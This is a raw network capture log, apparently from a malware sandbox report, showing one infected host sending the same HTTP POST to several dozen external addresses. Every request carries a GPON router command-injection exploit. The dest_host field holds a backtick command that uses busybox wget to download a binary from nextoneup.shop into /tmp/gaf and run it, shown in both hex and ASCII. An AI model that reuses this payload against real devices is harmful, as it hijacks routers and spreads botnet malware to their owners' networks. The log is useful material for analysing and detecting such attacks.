Apr 14, 2024 03:59:56.161017895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	43872	117.36.233.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161048889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	45278	94.171.204.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161094904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	47066	123.179.39.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161155939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	36442	2.140.168.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161194086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	42380	117.115.184.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161220074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	34786	202.22.13.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161220074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	58304	148.4.41.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161293030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	50304	148.239.79.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161324978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	54962	202.99.30.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161380053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	36672	37.36.171.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161380053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	55770	94.255.60.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161437988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	60102	42.141.180.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161447048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	46766	118.184.47.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161494970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	57266	118.191.87.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161524057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	58660	123.96.233.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161596060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	58456	202.234.51.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161603928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	37006	118.240.209.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161628962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	53324	148.134.14.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161675930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	57800	212.185.189.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161725044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	60002	210.59.34.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161777973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	38794	42.9.3.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161787987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	40342	212.136.153.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161834955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	50790	178.151.244.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161870003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	47208	202.14.141.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161906958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	44188	5.8.120.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.161936045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
